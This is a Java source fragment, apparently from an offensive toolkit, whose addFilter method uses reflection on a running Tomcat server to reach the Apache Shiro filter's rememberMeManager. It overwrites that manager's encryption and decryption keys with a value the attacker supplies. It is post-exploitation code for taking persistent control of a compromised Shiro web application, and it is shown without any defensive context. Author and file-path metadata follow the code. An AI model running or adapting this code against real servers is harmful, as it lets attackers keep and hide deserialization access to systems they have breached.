public String addFilter()throws Exception {
        org.apache.tomcat.util.threads.TaskThread thread = (org.apache.tomcat.util.threads.TaskThread) Thread.currentThread();
        java.lang.reflect.Field field = thread.getClass().getSuperclass().getDeclaredField("contextClassLoader");
        field.setAccessible(true);
        Object obj = field.get(thread);
        field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
        field.setAccessible(true);
        obj = field.get(obj);
        field = obj.getClass().getDeclaredField("context");
        field.setAccessible(true);
        obj = field.get(obj);
        field = obj.getClass().getSuperclass().getDeclaredField("filterConfigs");
        field.setAccessible(true);
        obj = field.get(obj);
        java.util.HashMap<String, Object> objMap = (java.util.HashMap<String, Object>) obj;
        java.util.Iterator<Map.Entry<String, Object>> entries = objMap.entrySet().iterator();
        while (entries.hasNext()) {
            Map.Entry<String, Object> entry = entries.next();
            if (entry.getKey().equals("shiroFilterFactoryBean")) {
                obj = entry.getValue();
                field = obj.getClass().getDeclaredField("filter");
                field.setAccessible(true);
                obj = field.get(obj);
                field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
                field.setAccessible(true);
                obj = field.get(obj);
                field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
                field.setAccessible(true);
                obj = field.get(obj);
                java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
                byte[] bytes = this.base64Decode(this.Pwd);
                setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
                java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
                setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
            }
        }
//        this.Mem();
        return "change key ok";
    }
@ClassName: ChangeShiroKey
@Description: TODO
@Author: Summer
@Date: 2021/10/19 11:32
@Version: v1.0.0
@Description:
src/main/java/com/summersec/x/ChangeShiroKeyFilter.java